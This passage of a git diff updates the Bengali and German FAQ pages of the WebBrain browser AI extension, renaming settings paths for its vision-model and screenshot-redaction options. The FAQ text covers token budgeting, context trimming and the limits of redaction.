- "text": "তিনটি স্বাধীন স্তর: টোকেন-সচেতন স্ক্রিনশট। কোনো ছবি আপনার মেশিন ছেড়ে যাওয়ার আগে, WebBrain এটির আকার পরিবর্তন করে (সংক্ষিপ্ত সাইড ক্যাপড, অ্যাসপেক্ট রেশিও সংরক্ষণ করে) এবং পুনরাবৃত্তিমূলকভাবে JPEG-সংকুচিত করে যতক্ষণ না এটি প্রতি-টার্ন ইমেজ-টোকেন বাজেটে ফিট করে। একটি 2000×1200 স্ক্রিনশট যেটির জন্য আপনার GPT-4o তে ~1,500 ইনপুট টোকেন খরচ হবে ~300-500 টোকেনে কম্প্রেস হয়ে পৃষ্ঠা-পড়ার কাজগুলির জন্য কোনও ব্যবহারিক ক্ষতি ছাড়াই। তে বাস্তবায়িত হয় _fitImageDimensions বাজেট গণিত জন্য ইউনিট পরীক্ষার সঙ্গে. স্মার্ট প্রসঙ্গ ছাঁটাই। কথোপকথনের ইতিহাস, টুল আউটপুট, এবং ইনলাইন DOM ডাম্পগুলি প্রতি টার্নে আবদ্ধ থাকে এবং সক্রিয় মডেলের প্রসঙ্গ উইন্ডোটি পূর্ণ হওয়ার সময় সবচেয়ে পুরনো-প্রথম ছাঁটাই করা হয়। আপনি 10k টোকেন থেকে 100k পর্যন্ত নীরবে বেলুন চালাতে দেখতে পাবেন না কারণ একটি read_page একটি উপন্যাস-দৈর্ঘ্য নিবন্ধ ফিরে. ডেডিকেটেড ভিশন মডেল। শুধুমাত্র স্ক্রিনশটগুলির জন্য একটি পৃথক দৃষ্টি-সক্ষম মডেলের (যেমন GPT-4o) সাথে পরিকল্পনা এবং টুল কলের জন্য একটি সস্তা টেক্সট মডেল (যেমন GPT-4o-mini) যুক্ত করুন, তাই আপনি প্রতিটি একক মোড়তে মাল্টিমোডাল-মডেল মূল্য পরিশোধ করবেন না৷ অধীনে কনফিগার করুন সেটিংস → দৃষ্টি. নেট ফলাফল: ক্লাউড প্রদানকারীদের সাথে দীর্ঘ সেশন অনুমানযোগ্য থাকে। সম্পূর্ণ নিয়ন্ত্রণের জন্য, স্থানীয়ভাবে llama.cpp ব্যবহার করুন — টোকেন প্রতি শূন্য খরচ।"
+ "text": "তিনটি স্বাধীন স্তর: টোকেন-সচেতন স্ক্রিনশট। কোনো ছবি আপনার মেশিন ছেড়ে যাওয়ার আগে, WebBrain এটির আকার পরিবর্তন করে (সংক্ষিপ্ত সাইড ক্যাপড, অ্যাসপেক্ট রেশিও সংরক্ষণ করে) এবং পুনরাবৃত্তিমূলকভাবে JPEG-সংকুচিত করে যতক্ষণ না এটি প্রতি-টার্ন ইমেজ-টোকেন বাজেটে ফিট করে। একটি 2000×1200 স্ক্রিনশট যেটির জন্য আপনার GPT-4o তে ~1,500 ইনপুট টোকেন খরচ হবে ~300-500 টোকেনে কম্প্রেস হয়ে পৃষ্ঠা-পড়ার কাজগুলির জন্য কোনও ব্যবহারিক ক্ষতি ছাড়াই। তে বাস্তবায়িত হয় _fitImageDimensions বাজেট গণিত জন্য ইউনিট পরীক্ষার সঙ্গে. স্মার্ট প্রসঙ্গ ছাঁটাই। কথোপকথনের ইতিহাস, টুল আউটপুট, এবং ইনলাইন DOM ডাম্পগুলি প্রতি টার্নে আবদ্ধ থাকে এবং সক্রিয় মডেলের প্রসঙ্গ উইন্ডোটি পূর্ণ হওয়ার সময় সবচেয়ে পুরনো-প্রথম ছাঁটাই করা হয়। আপনি 10k টোকেন থেকে 100k পর্যন্ত নীরবে বেলুন চালাতে দেখতে পাবেন না কারণ একটি read_page একটি উপন্যাস-দৈর্ঘ্য নিবন্ধ ফিরে. ডেডিকেটেড ভিশন মডেল। শুধুমাত্র স্ক্রিনশটগুলির জন্য একটি পৃথক দৃষ্টি-সক্ষম মডেলের (যেমন GPT-4o) সাথে পরিকল্পনা এবং টুল কলের জন্য একটি সস্তা টেক্সট মডেল (যেমন GPT-4o-mini) যুক্ত করুন, তাই আপনি প্রতিটি একক মোড়তে মাল্টিমোডাল-মডেল মূল্য পরিশোধ করবেন না৷ অধীনে কনফিগার করুন সেটিংস → সহায়ক মডেল → দৃষ্টি. নেট ফলাফল: ক্লাউড প্রদানকারীদের সাথে দীর্ঘ সেশন অনুমানযোগ্য থাকে। সম্পূর্ণ নিয়ন্ত্রণের জন্য, স্থানীয়ভাবে llama.cpp ব্যবহার করুন — টোকেন প্রতি শূন্য খরচ।"
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>কিভাবে WebBrain ক্লাউড এলএলএম বিল নিয়ন্ত্রণে রাখে?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>তিনটি স্বাধীন স্তর:</p><p><strong>টোকেন-সচেতন স্ক্রিনশট।</strong> কোনো ছবি আপনার মেশিন ছেড়ে যাওয়ার আগে, WebBrain এটির আকার পরিবর্তন করে (সংক্ষিপ্ত সাইড ক্যাপড, অ্যাসপেক্ট রেশিও সংরক্ষণ করে) এবং পুনরাবৃত্তিমূলকভাবে JPEG-সংকুচিত করে যতক্ষণ না এটি প্রতি-টার্ন ইমেজ-টোকেন বাজেটে ফিট করে। একটি 2000×1200 স্ক্রিনশট যেটির জন্য আপনার GPT-4o তে ~1,500 ইনপুট টোকেন খরচ হবে ~300-500 টোকেনে কম্প্রেস হয়ে পৃষ্ঠা-পড়ার কাজগুলির জন্য কোনও ব্যবহারিক ক্ষতি ছাড়াই। তে বাস্তবায়িত হয় <code>_fitImageDimensions</code> বাজেট গণিত জন্য ইউনিট পরীক্ষার সঙ্গে.</p><p><strong>স্মার্ট প্রসঙ্গ ছাঁটাই।</strong> কথোপকথনের ইতিহাস, টুল আউটপুট, এবং ইনলাইন DOM ডাম্পগুলি প্রতি টার্নে আবদ্ধ থাকে এবং সক্রিয় মডেলের প্রসঙ্গ উইন্ডোটি পূর্ণ হওয়ার সময় সবচেয়ে পুরনো-প্রথম ছাঁটাই করা হয়। আপনি 10k টোকেন থেকে 100k পর্যন্ত নীরবে বেলুন চালাতে দেখতে পাবেন না কারণ একটি <code>read_page</code> একটি উপন্যাস-দৈর্ঘ্য নিবন্ধ ফিরে.</p><p><strong>ডেডিকেটেড ভিশন মডেল।</strong> শুধুমাত্র স্ক্রিনশটগুলির জন্য একটি পৃথক দৃষ্টি-সক্ষম মডেলের (যেমন GPT-4o) সাথে পরিকল্পনা এবং টুল কলের জন্য একটি সস্তা টেক্সট মডেল (যেমন GPT-4o-mini) যুক্ত করুন, তাই আপনি প্রতিটি একক মোড়তে মাল্টিমোডাল-মডেল মূল্য পরিশোধ করবেন না৷ অধীনে কনফিগার করুন <strong>সেটিংস → দৃষ্টি</strong>.</p><p>নেট ফলাফল: ক্লাউড প্রদানকারীদের সাথে দীর্ঘ সেশন অনুমানযোগ্য থাকে। সম্পূর্ণ নিয়ন্ত্রণের জন্য, স্থানীয়ভাবে llama.cpp ব্যবহার করুন — টোকেন প্রতি শূন্য খরচ।</p></div>
+ <div class="faq-answer"><p>তিনটি স্বাধীন স্তর:</p><p><strong>টোকেন-সচেতন স্ক্রিনশট।</strong> কোনো ছবি আপনার মেশিন ছেড়ে যাওয়ার আগে, WebBrain এটির আকার পরিবর্তন করে (সংক্ষিপ্ত সাইড ক্যাপড, অ্যাসপেক্ট রেশিও সংরক্ষণ করে) এবং পুনরাবৃত্তিমূলকভাবে JPEG-সংকুচিত করে যতক্ষণ না এটি প্রতি-টার্ন ইমেজ-টোকেন বাজেটে ফিট করে। একটি 2000×1200 স্ক্রিনশট যেটির জন্য আপনার GPT-4o তে ~1,500 ইনপুট টোকেন খরচ হবে ~300-500 টোকেনে কম্প্রেস হয়ে পৃষ্ঠা-পড়ার কাজগুলির জন্য কোনও ব্যবহারিক ক্ষতি ছাড়াই। তে বাস্তবায়িত হয় <code>_fitImageDimensions</code> বাজেট গণিত জন্য ইউনিট পরীক্ষার সঙ্গে.</p><p><strong>স্মার্ট প্রসঙ্গ ছাঁটাই।</strong> কথোপকথনের ইতিহাস, টুল আউটপুট, এবং ইনলাইন DOM ডাম্পগুলি প্রতি টার্নে আবদ্ধ থাকে এবং সক্রিয় মডেলের প্রসঙ্গ উইন্ডোটি পূর্ণ হওয়ার সময় সবচেয়ে পুরনো-প্রথম ছাঁটাই করা হয়। আপনি 10k টোকেন থেকে 100k পর্যন্ত নীরবে বেলুন চালাতে দেখতে পাবেন না কারণ একটি <code>read_page</code> একটি উপন্যাস-দৈর্ঘ্য নিবন্ধ ফিরে.</p><p><strong>ডেডিকেটেড ভিশন মডেল।</strong> শুধুমাত্র স্ক্রিনশটগুলির জন্য একটি পৃথক দৃষ্টি-সক্ষম মডেলের (যেমন GPT-4o) সাথে পরিকল্পনা এবং টুল কলের জন্য একটি সস্তা টেক্সট মডেল (যেমন GPT-4o-mini) যুক্ত করুন, তাই আপনি প্রতিটি একক মোড়তে মাল্টিমোডাল-মডেল মূল্য পরিশোধ করবেন না৷ অধীনে কনফিগার করুন <strong>সেটিংস → সহায়ক মডেল → দৃষ্টি</strong>.</p><p>নেট ফলাফল: ক্লাউড প্রদানকারীদের সাথে দীর্ঘ সেশন অনুমানযোগ্য থাকে। সম্পূর্ণ নিয়ন্ত্রণের জন্য, স্থানীয়ভাবে llama.cpp ব্যবহার করুন — টোকেন প্রতি শূন্য খরচ।</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>স্ক্রিনশট রিডাকশন সেটিং কি গ্যারান্টি দেয় যে আমার ব্যক্তিগত ডেটা কখনই ক্লাউড ভিশন মডেলে পৌঁছাবে না?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>না - এটি এক্সপোজার হ্রাস করে, এটি একটি গ্যারান্টি নয়। যখন সক্রিয় (<strong>সেটিংস → মাল্টিমোডাল → স্ক্রিনশট রিডাকশন</strong>, ডিফল্টরূপে বন্ধ), WebBrain পিক্সেলেট ক্ষেত্র এবং পাঠ্য গঠন করে যা প্রতিটি স্ক্রিনশটে একটি ইমেল ঠিকানা বা ফোন নম্বরের মতো দেখায় <em>আগে</em> এটি একটি দৃষ্টি মডেল পাঠানো হয়. DOM হিউরিস্টিকস ব্যবহার করে সনাক্তকরণ সম্পূর্ণরূপে আপনার ডিভাইসে চলে; অতিরিক্ত কিছুই প্রেরণ করা হয় না।</p><p><strong>এটি সর্বোত্তম-প্রচেষ্টা এবং ব্যর্থ-খোলা।</strong> যদি ডিটেক্টর একটি পৃষ্ঠায় চলতে না পারে - উদাহরণস্বরূপ একটি নেভিগেশনের পরপরই, পিডিএফ ভিউয়ারে বা সীমাবদ্ধ ব্রাউজার পৃষ্ঠাগুলিতে - স্ক্রিনশট এখনও পাঠানো হয় <em>unredacted</em> আপনার কাজ বাতিল করার পরিবর্তে। DOM হিউরিস্টিকস যে বিষয়বস্তু দেখতে পারে না (ক্যানভাসে আঁকা পাঠ্য, চিত্রের ভিতরে PII, অস্বাভাবিক উইজেট) এছাড়াও স্লিপ হতে পারে। এবং সেটিং শুধুমাত্র স্ক্রিনশট কভার করে: পৃষ্ঠা <em>পাঠ্য</em> মডেল পাঠানো এটি দ্বারা সংশোধন করা হয় না.</p><p><strong>সম্পূর্ণ দৃষ্টি গোপনীয়তার জন্য, একটি স্থানীয় মডেল ব্যবহার করুন.</strong> অফলাইন প্রদানকারীর সাথে যেমন llama.cpp বা Ollama, স্ক্রিনশট এবং পৃষ্ঠার পাঠ্য কখনই আপনার মেশিন থেকে যায় না, তাই প্রথম স্থানে সংশোধন করার কিছু নেই — এটিই একমাত্র কনফিগারেশন যেখানে গোপনীয়তা নিশ্চিত করা হয়৷ দেখুন "আমি কি পুরোপুরি অফলাইনে WebBrain ব্যবহার করতে পারি?" উপরে</p><p><strong>এমন একটি মেশিন নেই যা একটি দৃষ্টি-সক্ষম স্থানীয় মডেল চালাতে পারে?</strong> একটি ভাল মিডল গ্রাউন্ড হল পরিকল্পনা এবং টুল কলের জন্য একটি ছোট স্থানীয় মডেল (একটি পরিমিত CPU/GPU-এর জন্য যথেষ্ট দ্রুত এবং হালকা) যা ভিশন সাব-কলের জন্য একটি ক্লাউড প্রদানকারীর সাথে যুক্ত, স্ক্রিনশট রিডাকশন চালু আছে। আপনি এখনও ডিভাইসে আপনার কথোপকথন এবং পৃষ্ঠার পাঠ্য রাখেন এবং ক্লাউড ভিশনের জন্য ছেড়ে যাওয়া প্রতিটি স্ক্রিনশটের ফর্ম ক্ষেত্র রয়েছে এবং সনাক্ত করা ইমেল/ফোনগুলি প্রথমে ঝাপসা করা হয়েছে — সম্পূর্ণ স্থানীয় দৃষ্টি মডেলের জন্য হার্ডওয়্যারের প্রয়োজন ছাড়াই ক্লাউড এক্সপোজার হ্রাস করা হয়েছে। অধীনে দৃষ্টি বিভক্ত কনফিগার করুন <strong>সেটিংস → দৃষ্টি</strong> (উপরে দেখুন "কিভাবে WebBrain ক্লাউড LLM বিল নিয়ন্ত্রণে রাখে?"</p></div>
+ <div class="faq-answer"><p>না - এটি এক্সপোজার হ্রাস করে, এটি একটি গ্যারান্টি নয়। যখন সক্রিয় (<strong>সেটিংস → সহায়ক মডেল → দৃষ্টি → স্ক্রিনশট রিডাকশন</strong>, ডিফল্টরূপে বন্ধ), WebBrain পিক্সেলেট ক্ষেত্র এবং পাঠ্য গঠন করে যা প্রতিটি স্ক্রিনশটে একটি ইমেল ঠিকানা বা ফোন নম্বরের মতো দেখায় <em>আগে</em> এটি একটি দৃষ্টি মডেল পাঠানো হয়. DOM হিউরিস্টিকস ব্যবহার করে সনাক্তকরণ সম্পূর্ণরূপে আপনার ডিভাইসে চলে; অতিরিক্ত কিছুই প্রেরণ করা হয় না।</p><p><strong>এটি সর্বোত্তম-প্রচেষ্টা এবং ব্যর্থ-খোলা।</strong> যদি ডিটেক্টর একটি পৃষ্ঠায় চলতে না পারে - উদাহরণস্বরূপ একটি নেভিগেশনের পরপরই, পিডিএফ ভিউয়ারে বা সীমাবদ্ধ ব্রাউজার পৃষ্ঠাগুলিতে - স্ক্রিনশট এখনও পাঠানো হয় <em>unredacted</em> আপনার কাজ বাতিল করার পরিবর্তে। DOM হিউরিস্টিকস যে বিষয়বস্তু দেখতে পারে না (ক্যানভাসে আঁকা পাঠ্য, চিত্রের ভিতরে PII, অস্বাভাবিক উইজেট) এছাড়াও স্লিপ হতে পারে। এবং সেটিং শুধুমাত্র স্ক্রিনশট কভার করে: পৃষ্ঠা <em>পাঠ্য</em> মডেল পাঠানো এটি দ্বারা সংশোধন করা হয় না.</p><p><strong>সম্পূর্ণ দৃষ্টি গোপনীয়তার জন্য, একটি স্থানীয় মডেল ব্যবহার করুন.</strong> অফলাইন প্রদানকারীর সাথে যেমন llama.cpp বা Ollama, স্ক্রিনশট এবং পৃষ্ঠার পাঠ্য কখনই আপনার মেশিন থেকে যায় না, তাই প্রথম স্থানে সংশোধন করার কিছু নেই — এটিই একমাত্র কনফিগারেশন যেখানে গোপনীয়তা নিশ্চিত করা হয়৷ দেখুন "আমি কি পুরোপুরি অফলাইনে WebBrain ব্যবহার করতে পারি?" উপরে</p><p><strong>এমন একটি মেশিন নেই যা একটি দৃষ্টি-সক্ষম স্থানীয় মডেল চালাতে পারে?</strong> একটি ভাল মিডল গ্রাউন্ড হল পরিকল্পনা এবং টুল কলের জন্য একটি ছোট স্থানীয় মডেল (একটি পরিমিত CPU/GPU-এর জন্য যথেষ্ট দ্রুত এবং হালকা) যা ভিশন সাব-কলের জন্য একটি ক্লাউড প্রদানকারীর সাথে যুক্ত, স্ক্রিনশট রিডাকশন চালু আছে। আপনি এখনও ডিভাইসে আপনার কথোপকথন এবং পৃষ্ঠার পাঠ্য রাখেন এবং ক্লাউড ভিশনের জন্য ছেড়ে যাওয়া প্রতিটি স্ক্রিনশটের ফর্ম ক্ষেত্র রয়েছে এবং সনাক্ত করা ইমেল/ফোনগুলি প্রথমে ঝাপসা করা হয়েছে — সম্পূর্ণ স্থানীয় দৃষ্টি মডেলের জন্য হার্ডওয়্যারের প্রয়োজন ছাড়াই ক্লাউড এক্সপোজার হ্রাস করা হয়েছে। অধীনে দৃষ্টি বিভক্ত কনফিগার করুন <strong>সেটিংস → সহায়ক মডেল → দৃষ্টি</strong> (উপরে দেখুন "কিভাবে WebBrain ক্লাউড LLM বিল নিয়ন্ত্রণে রাখে?"</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain কি পুরো DOM এআই মডেলে পাঠায়?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/de/faq/index.html b/web/docs/de/faq/index.html
index f70ad0c46..3864f0816 100644
--- a/web/docs/de/faq/index.html
+++ b/web/docs/de/faq/index.html
@@ -249,7 +249,7 @@
"name": "Garantiert die Screenshot-Retuschiereinstellung, dass meine Privatdaten nie ein Cloud-Vision-Modell erreichen?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Nein — es reduziert die Exposition, es ist keine Garantie. Wenn aktiviert (Einstellungen → Multimodal → Screenshot-Retuschiereinstellung, standardmäßig deaktiviert), pixelt WebBrain Formularfelder und Text, der wie eine E-Mail-Adresse oder Telefonnummer aussieht, auf jedem Screenshot bevor es an ein Vision-Modell gesendet wird. Die Erkennung läuft vollständig auf Ihrem Gerät über DOM-Heuristiken; es wird nichts Zusätzliches übertragen. Es ist ein Best-Effort-Ansatz mit Fail-Open. Wenn der Erkennungsdienst nicht auf einer Seite laufen kann — beispielsweise direkt nach einer Navigation, auf PDF-Betrachtern oder auf eingeschränkten Browserseiten — wird das Screenshot trotzdem unretuschiert gesendet, anstatt Ihre Aufgabe abzubrechen. Inhalte, die die DOM-Heuristiken nicht sehen können (auf einem Canvas gezeichneter Text, PII in Bildern, ungewöhnliche Widgets), können ebenfalls durchschlüpfen. Und die Einstellung betrifft nur Screenshots: Seitentext, der an das Modell gesendet wird, wird nicht retuschiert. Für vollständige Vision-Privatsphäre verwenden Sie ein lokales Modell. Mit einem Offline-Anbieter wie llama.cpp oder Ollama verlassen Screenshots und Seitentext Ihre Maschine nie, daher gibt es nichts zu retuschieren — das ist die einzige Konfiguration, bei der Privatsphäre garantiert ist. Siehe \"Kann ich WebBrain komplett offline nutzen?\" oben. Keine Maschine, die ein visionfähiges lokales Modell betreiben kann? Ein guter Kompromiss ist ein kleines lokales Modell für Planung und Tool-Aufrufe (schnell und leicht genug für eine bescheidene CPU/GPU) gekoppelt mit einem Cloud-Anbieter für die Vision-Unteraufrufe, mit aktivierter Screenshot-Retuschiereinstellung. Sie behalten Ihr Gespräch und Seitentext auf dem Gerät, und jeder Screenshot, der zur Cloud-Vision geht, hat zuerst formularfelder und erkannte E-Mails/Telefonnummern verwischt — reduzierte Cloud-Exposition ohne Hardware für ein vollständiges lokales Vision-Modell. Konfigurieren Sie die Vision-Aufteilung unter Einstellungen → Vision (siehe \"Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?\" oben)."
+ "text": "Nein — es reduziert die Exposition, es ist keine Garantie. Wenn aktiviert (Einstellungen → Assistenzmodelle → Vision → Screenshot-Retuschiereinstellung, standardmäßig deaktiviert), pixelt WebBrain Formularfelder und Text, der wie eine E-Mail-Adresse oder Telefonnummer aussieht, auf jedem Screenshot bevor es an ein Vision-Modell gesendet wird. Die Erkennung läuft vollständig auf Ihrem Gerät über DOM-Heuristiken; es wird nichts Zusätzliches übertragen. Es ist ein Best-Effort-Ansatz mit Fail-Open. Wenn der Erkennungsdienst nicht auf einer Seite laufen kann — beispielsweise direkt nach einer Navigation, auf PDF-Betrachtern oder auf eingeschränkten Browserseiten — wird das Screenshot trotzdem unretuschiert gesendet, anstatt Ihre Aufgabe abzubrechen. Inhalte, die die DOM-Heuristiken nicht sehen können (auf einem Canvas gezeichneter Text, PII in Bildern, ungewöhnliche Widgets), können ebenfalls durchschlüpfen. Und die Einstellung betrifft nur Screenshots: Seitentext, der an das Modell gesendet wird, wird nicht retuschiert. Für vollständige Vision-Privatsphäre verwenden Sie ein lokales Modell. Mit einem Offline-Anbieter wie llama.cpp oder Ollama verlassen Screenshots und Seitentext Ihre Maschine nie, daher gibt es nichts zu retuschieren — das ist die einzige Konfiguration, bei der Privatsphäre garantiert ist. Siehe \"Kann ich WebBrain komplett offline nutzen?\" oben. Keine Maschine, die ein visionfähiges lokales Modell betreiben kann? Ein guter Kompromiss ist ein kleines lokales Modell für Planung und Tool-Aufrufe (schnell und leicht genug für eine bescheidene CPU/GPU) gekoppelt mit einem Cloud-Anbieter für die Vision-Unteraufrufe, mit aktivierter Screenshot-Retuschiereinstellung. Sie behalten Ihr Gespräch und Seitentext auf dem Gerät, und jeder Screenshot, der zur Cloud-Vision geht, hat zuerst formularfelder und erkannte E-Mails/Telefonnummern verwischt — reduzierte Cloud-Exposition ohne Hardware für ein vollständiges lokales Vision-Modell. Konfigurieren Sie die Vision-Aufteilung unter Einstellungen → Assistenzmodelle → Vision (siehe \"Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?\" oben)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Drei unabhängige Schichten: Token-bewachte Screenshots. Bevor ein Bild Ihre Maschine verlässt, skaliert WebBrain es herunter (kurze Seite begrenzt, Seitenverhältnis beibehalten) und komprimiert es iterativ JPEG, bis es in ein pro-Durchgang Bild-Token-Budget passt. Ein 2000×1200-Screenshot, das Sie ~1.500 Eingabe-Tokens auf GPT-4o kosten würde, wird auf ~300–500 Tokens komprimiert, ohne praktische Einbußen für Seitenlese-Aufgaben. Implementiert in _fitImageDimensions mit Unit-Tests für die Budget-Berechnung. Intelligentes Kontext-Kürzen. Gesprächshistorie, Tool-Ausgaben und Inline-DOM-Dumps werden pro Durchgang begrenzt und vom ältesten zum neuesten gekürzt, wenn das Kontextfenster des aktiven Modells sich dem Maximum nähert. Sie werden nicht sehen, dass eine Sitzung lautlos von 10k auf 100k Tokens anschwillt, weil ein read_page einen romanlangen Artikel zurückgab. Dediziertes Vision-Modell. Koppeln Sie ein billiges Textmodell (z.B. GPT-4o-mini) für Planung und Tool-Aufrufe mit einem separaten visionfähigen Modell (z.B. GPT-4o) nur für Screenshots, damit Sie nicht den Multimodal-Modell-Tarif bei jedem einzelnen Durchgang bezahlen. Konfigurieren Sie unter Einstellungen → Vision. Netto-Ergebnis: Lange Sitzungen mit Cloud-Anbietern bleiben vorhersehbar. Für vollständige Kontrolle verwenden Sie llama.cpp lokal — keine Kosten pro Token."
+ "text": "Drei unabhängige Schichten: Token-bewachte Screenshots. Bevor ein Bild Ihre Maschine verlässt, skaliert WebBrain es herunter (kurze Seite begrenzt, Seitenverhältnis beibehalten) und komprimiert es iterativ JPEG, bis es in ein pro-Durchgang Bild-Token-Budget passt. Ein 2000×1200-Screenshot, das Sie ~1.500 Eingabe-Tokens auf GPT-4o kosten würde, wird auf ~300–500 Tokens komprimiert, ohne praktische Einbußen für Seitenlese-Aufgaben. Implementiert in _fitImageDimensions mit Unit-Tests für die Budget-Berechnung. Intelligentes Kontext-Kürzen. Gesprächshistorie, Tool-Ausgaben und Inline-DOM-Dumps werden pro Durchgang begrenzt und vom ältesten zum neuesten gekürzt, wenn das Kontextfenster des aktiven Modells sich dem Maximum nähert. Sie werden nicht sehen, dass eine Sitzung lautlos von 10k auf 100k Tokens anschwillt, weil ein read_page einen romanlangen Artikel zurückgab. Dediziertes Vision-Modell. Koppeln Sie ein billiges Textmodell (z.B. GPT-4o-mini) für Planung und Tool-Aufrufe mit einem separaten visionfähigen Modell (z.B. GPT-4o) nur für Screenshots, damit Sie nicht den Multimodal-Modell-Tarif bei jedem einzelnen Durchgang bezahlen. Konfigurieren Sie unter Einstellungen → Assistenzmodelle → Vision. Netto-Ergebnis: Lange Sitzungen mit Cloud-Anbietern bleiben vorhersehbar. Für vollständige Kontrolle verwenden Sie llama.cpp lokal — keine Kosten pro Token."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Drei unabhängige Schichten:</p><p><strong>Token-bewachte Screenshots.</strong> Bevor ein Bild Ihre Maschine verlässt, skaliert WebBrain es herunter (kurze Seite begrenzt, Seitenverhältnis beibehalten) und komprimiert es iterativ JPEG, bis es in ein pro-Durchgang Bild-Token-Budget passt. Ein 2000×1200-Screenshot, das Sie ~1.500 Eingabe-Tokens auf GPT-4o kosten würde, wird auf ~300–500 Tokens komprimiert, ohne praktische Einbußen für Seitenlese-Aufgaben. Implementiert in <code>_fitImageDimensions</code> mit Unit-Tests für die Budget-Berechnung.</p><p><strong>Intelligentes Kontext-Kürzen.</strong> Gesprächshistorie, Tool-Ausgaben und Inline-DOM-Dumps werden pro Durchgang begrenzt und vom ältesten zum neuesten gekürzt, wenn das Kontextfenster des aktiven Modells sich dem Maximum nähert. Sie werden nicht sehen, dass eine Sitzung lautlos von 10k auf 100k Tokens anschwillt, weil ein <code>read_page</code> einen romanlangen Artikel zurückgab.</p><p><strong>Dediziertes Vision-Modell.</strong> Koppeln Sie ein billiges Textmodell (z.B. GPT-4o-mini) für Planung und Tool-Aufrufe mit einem separaten visionfähigen Modell (z.B. GPT-4o) nur für Screenshots, damit Sie nicht den Multimodal-Modell-Tarif bei jedem einzelnen Durchgang bezahlen. Konfigurieren Sie unter <strong>Einstellungen → Vision</strong>.</p><p>Netto-Ergebnis: Lange Sitzungen mit Cloud-Anbietern bleiben vorhersehbar. Für vollständige Kontrolle verwenden Sie llama.cpp lokal — keine Kosten pro Token.</p></div>
+ <div class="faq-answer"><p>Drei unabhängige Schichten:</p><p><strong>Token-bewachte Screenshots.</strong> Bevor ein Bild Ihre Maschine verlässt, skaliert WebBrain es herunter (kurze Seite begrenzt, Seitenverhältnis beibehalten) und komprimiert es iterativ JPEG, bis es in ein pro-Durchgang Bild-Token-Budget passt. Ein 2000×1200-Screenshot, das Sie ~1.500 Eingabe-Tokens auf GPT-4o kosten würde, wird auf ~300–500 Tokens komprimiert, ohne praktische Einbußen für Seitenlese-Aufgaben. Implementiert in <code>_fitImageDimensions</code> mit Unit-Tests für die Budget-Berechnung.</p><p><strong>Intelligentes Kontext-Kürzen.</strong> Gesprächshistorie, Tool-Ausgaben und Inline-DOM-Dumps werden pro Durchgang begrenzt und vom ältesten zum neuesten gekürzt, wenn das Kontextfenster des aktiven Modells sich dem Maximum nähert. Sie werden nicht sehen, dass eine Sitzung lautlos von 10k auf 100k Tokens anschwillt, weil ein <code>read_page</code> einen romanlangen Artikel zurückgab.</p><p><strong>Dediziertes Vision-Modell.</strong> Koppeln Sie ein billiges Textmodell (z.B. GPT-4o-mini) für Planung und Tool-Aufrufe mit einem separaten visionfähigen Modell (z.B. GPT-4o) nur für Screenshots, damit Sie nicht den Multimodal-Modell-Tarif bei jedem einzelnen Durchgang bezahlen. Konfigurieren Sie unter <strong>Einstellungen → Assistenzmodelle → Vision</strong>.</p><p>Netto-Ergebnis: Lange Sitzungen mit Cloud-Anbietern bleiben vorhersehbar. Für vollständige Kontrolle verwenden Sie llama.cpp lokal — keine Kosten pro Token.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Garantiert die Screenshot-Retuschiereinstellung, dass meine Privatdaten nie ein Cloud-Vision-Modell erreichen?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Nein — es reduziert die Exposition, es ist keine Garantie. Wenn aktiviert (<strong>Einstellungen → Multimodal → Screenshot-Retuschiereinstellung</strong>, standardmäßig deaktiviert), pixelt WebBrain Formularfelder und Text, der wie eine E-Mail-Adresse oder Telefonnummer aussieht, auf jedem Screenshot <em>bevor</em> es an ein Vision-Modell gesendet wird. Die Erkennung läuft vollständig auf Ihrem Gerät über DOM-Heuristiken; es wird nichts Zusätzliches übertragen.</p><p><strong>Es ist ein Best-Effort-Ansatz mit Fail-Open.</strong> Wenn der Erkennungsdienst nicht auf einer Seite laufen kann — beispielsweise direkt nach einer Navigation, auf PDF-Betrachtern oder auf eingeschränkten Browserseiten — wird das Screenshot trotzdem <em>unretuschiert</em> gesendet, anstatt Ihre Aufgabe abzubrechen. Inhalte, die die DOM-Heuristiken nicht sehen können (auf einem Canvas gezeichneter Text, PII in Bildern, ungewöhnliche Widgets), können ebenfalls durchschlüpfen. Und die Einstellung betrifft nur Screenshots: Seiten<em>text</em>, der an das Modell gesendet wird, wird nicht retuschiert.</p><p><strong>Für vollständige Vision-Privatsphäre verwenden Sie ein lokales Modell.</strong> Mit einem Offline-Anbieter wie llama.cpp oder Ollama verlassen Screenshots und Seitentext Ihre Maschine nie, daher gibt es nichts zu retuschieren — das ist die einzige Konfiguration, bei der Privatsphäre garantiert ist. Siehe "Kann ich WebBrain komplett offline nutzen?" oben.</p><p><strong>Keine Maschine, die ein visionfähiges lokales Modell betreiben kann?</strong> Ein guter Kompromiss ist ein kleines lokales Modell für Planung und Tool-Aufrufe (schnell und leicht genug für eine bescheidene CPU/GPU) gekoppelt mit einem Cloud-Anbieter für die Vision-Unteraufrufe, mit aktivierter Screenshot-Retuschiereinstellung. Sie behalten Ihr Gespräch und Seitentext auf dem Gerät, und jeder Screenshot, der zur Cloud-Vision geht, hat zuerst formularfelder und erkannte E-Mails/Telefonnummern verwischt — reduzierte Cloud-Exposition 